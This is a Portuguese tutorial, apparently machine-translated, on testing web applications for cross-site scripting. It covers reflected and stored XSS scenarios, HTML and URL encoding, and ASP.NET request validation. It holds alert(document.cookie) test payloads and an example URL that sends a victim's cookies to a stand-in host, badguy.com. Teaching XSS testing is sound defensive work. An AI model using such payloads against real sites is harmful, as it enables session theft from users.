Testes de segurança da web xSs
Nome completo do XSS (scripts transversal) O ataque de script entre sites é a vulnerabilidade mais comum nos programas da Web. Refere -se a um atacante que incorpora scripts do cliente (como JavaScript) em uma página da web. Quando o usuário navega nesta página da Web, o script será executado no navegador do usuário, alcançando assim o objetivo do invasor. Por exemplo, obtendo os cookies do usuário, navegando em sites maliciosos, carregando trojans, etc.
Como testador, você precisa entender os princípios do XSS, os cenários de ataque e como corrigi -los. Somente impedindo efetivamente o XSS.
Leitura de conteúdo
Como acontece os XSs
Se houver uma caixa de texto abaixo
<input type = "text" name = "endereço1" value = "value1from">>
Value1From é a entrada do usuário. Se o usuário não entrar no valor1From, mas entrará "/><script>alert(document.cookie)</script><!- então ele se tornará
<input type = "text" name = "endereço1" value = ""/> <cript> alert (document.cookie) </script> <!- ">
O código JavaScript incorporado será executado
Ou o usuário entra
<input type = "text" name = "endereço1" value = "" onfocus = "alert (document.cookie)">>
Quando o evento for acionado, o código JavaScript incorporado será executado
O poder do ataque depende de qual script as entradas do usuário
Obviamente, os dados enviados pelo usuário também podem ser enviados ao servidor por meio do QueryString (colocado no URL) e cookies. Por exemplo, a figura a seguir
Encode HTML
O XSS acontece porque os dados inseridos pelo usuário se tornam código. Portanto, precisamos executar o processamento de codificação HTML nos dados inseridos pelo usuário. Encoda caracteres especiais como "suportes", "citações únicas" e "citações".
Os métodos já disponíveis são fornecidos em C#, basta ligar para httputility.htmlencode ("String <Critp>"). (Exigindo a montagem do sistema.Web)
Fiddler também fornece uma ferramenta muito conveniente, clique no botão "TextWizard" na barra de ferramentas
Cenário de ataque XSS
1. O processo de ataque de vulnerabilidade XSS baseado em DOM é o seguinte
Tom descobriu uma vulnerabilidade ao XSS em uma página no vítima.com.
Por exemplo: http://victim.com/search.asp?term=apple
O código da página de pesquisa.asp no servidor é aproximadamente o seguinte
<html> <title> </title> <body> Resultados para <%reequest.QueryString ("termo")%> ... </body> </html>Tom primeiro cria um site http://badguy.com para receber informações de "roubar".
Então Tom constrói um URL malicioso (como segue) e o envia para Monica de alguma forma (email, qq)
http://victim.com/search.asp?term= <cript> window.open ("http://badguy.com?cookie="+document.cookie) </script>
Monica clica neste URL e o código JavaScript malicioso incorporado no URL será executado no navegador de Monica. Em seguida, os cookies de Monica no site do vítima.com serão enviados para o site do BadGuy. Dessa forma, as informações de Monica no vítima.com foram roubadas por Tom.
2. XSS armazenado (vulnerabilidade XSS armazenada), esse tipo é uma vulnerabilidade que é amplamente utilizada e pode afetar a segurança de grandes servidores da Web. O invasor carrega o script de ataque para o servidor da Web, fazendo com que todos os usuários que acessassem a página enfrentam a possibilidade de vazamento de informações. O processo de ataque é o seguinte
Alex descobriu uma vulnerabilidade XSS no site A que permite que o código de ataque seja salvo em um banco de dados.
Alex publicou um artigo com código JavaScript malicioso incorporado nele.
Quando outras pessoas, como Monica, ao acessar este artigo, o código JavaScript malicioso incorporado no artigo será executado no navegador de Monica, e seus cookies de sessão ou outras informações serão roubados por Alex.
A vulnerabilidade XSS baseada em DOM ameaça usuários individuais, enquanto as vulnerabilidades do XSS armazenadas ameaçarão um grande número de usuários.
Fix da vulnerabilidade XSS
Princípio: não confie nos dados inseridos pelo cliente
NOTA: O código de ataque não está necessariamente em <Script> </script>
Como testar vulnerabilidades XSS
Método 1: Veja o código e encontre variáveis -chave. O cliente transmite dados para o servidor da Web. Geralmente, de três maneiras, o consultor, as formas de forma e os cookies. Por exemplo, em programas ASP, as variáveis do cliente são obtidas através do objeto Solicitação.
<%strUserCode = request.QueryString ("código"); struser = request.form ("user"); strid = request.cookies ("id");%>Se a variável não for processada pelo HTMLencode, há uma vulnerabilidade XSS nessa variável
Método 2: Prepare o script de teste,
"/><Script>alert(document.cookie)</script><!--<script>alert(document.cookie)</script><!--"OnClick="alert(document.cookie)
Na caixa de texto ou em outros locais onde os dados podem ser inseridos, insira esses scripts de teste para ver se a caixa de diálogo pode aparecer. Se puder aparecer, significa que há uma vulnerabilidade XSS
Confira quais variáveis são passadas para o servidor da Web através do URL e retorne os valores dessas variáveis ao nosso script de teste. Então veja se nosso script pode ser executado
Método 3: Teste automaticamente as vulnerabilidades XSS
Existem muitas ferramentas de digitalização XSS disponíveis agora. A implementação de testes automatizados do XSS é muito simples, você só precisa usar a classe HTTPWebRequest. Coloque o script de teste XSS. Enviar para o servidor da web. Em seguida, verifique se nosso script de teste XSS foi injetado no HTTPWEBRESPONSE.
A diferença entre codificar HTML e codificar URL
No começo, eu sempre confundi essas duas coisas, mas na verdade eram duas coisas diferentes.
A codificação HTML já foi introduzida antes. A codificação de URL é atender às especificações da URL. Porque na especificação padrão da URL, os chineses e muitos caracteres não podem aparecer no URL.
Por exemplo, procure "Teste de caracteres chineses" em Baidu. O URL se tornará
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_BP=0&RSV_SPT=3&inputt=7477
A codificação de URL é: todos os caracteres não alfanuméricos serão substituídos por um sinal percentual (%) seguido por dois números hexadecimais, e os espaços serão codificados como um sinal de plus (+)
Os métodos já disponíveis são fornecidos em C#, basta ligar para httputility.urlencode ("String <Critp>"). (Exigindo a montagem do sistema.Web)
Fiddler também fornece uma ferramenta muito conveniente, clique no botão "TextWizard" na barra de ferramentas
Filtro XSS no navegador
Para impedir que o XSS ocorra, muitos fabricantes de navegadores adicionaram mecanismos de segurança aos seus navegadores para filtrar o XSS. Por exemplo, IE8, IE9, Firefox, Chrome. Todos têm mecanismos de segurança para XSS. O navegador bloqueia XSS. Por exemplo, a imagem a seguir
Se você precisar fazer um teste, é melhor usar o IE7.
Mecanismo de segurança XSS no ASP.NET
Asp.net possui um mecanismo para prevenir o XSS. O formulário enviado verificará automaticamente se o XSS existe. Quando o usuário tenta inserir o código XSS, o ASP.NET lançará um erro como mostrado na figura a seguir.
Muitos programadores não têm idéia sobre segurança e nem sabem que existem XSs. Asp.net é seguro por padrão neste momento. Dessa forma, mesmo programadores sem conscientização sobre segurança podem escrever um "site mais seguro".
Se você deseja desativar esse recurso de segurança, pode usar < %@ página validaterequest = "false" %>
O exposto acima é o teste de segurança da web XSS. Continuaremos a organizar materiais relevantes de teste de software no futuro. Obrigado pelo seu apoio a este site!